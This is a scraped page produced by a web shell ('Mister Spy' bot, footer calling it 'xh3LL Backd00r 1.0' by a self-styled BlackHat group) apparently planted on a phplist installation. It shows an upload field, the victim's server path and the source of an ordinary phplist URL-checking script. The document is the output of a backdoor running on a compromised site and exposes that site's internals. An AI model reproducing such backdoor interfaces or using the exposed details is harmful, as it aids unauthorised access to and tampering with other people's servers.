Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/actions/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/actions/checkurl.php

<?php

## check url
$request_parameters = array(
  'timeout' => 10,
  'allowRedirects' => 1,
  'method' => 'HEAD',
);

if (empty($_GET['url'])) return;

$url = expandURL($_GET['url']);

$isOk = true;
$code = -1;

if ($GLOBALS['can_fetchUrl']) {
  $code = testUrl($url);
  if ($code != 200) {
    if (!empty($url_append)) {
      $status = $GLOBALS['I18N']->get('Error fetching URL').' '.$GLOBALS['I18N']->get('Check your "remoteurl_append" setting.');
    } else {
      $status = $GLOBALS['I18N']->get('Error fetching URL');
    }
    $isOk = false;
  }
} else {
  $status = $GLOBALS['I18N']->get('Error fetching URL');
  $isOk = false;
}

if ($isOk) {
  $status = '<span class="pass">'.s('URL is valid').'</span>';
} else {
  $status = '<span class="fail">'.$status.'. '.s('Please verify that the URL entered is correct.').'</span>';
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat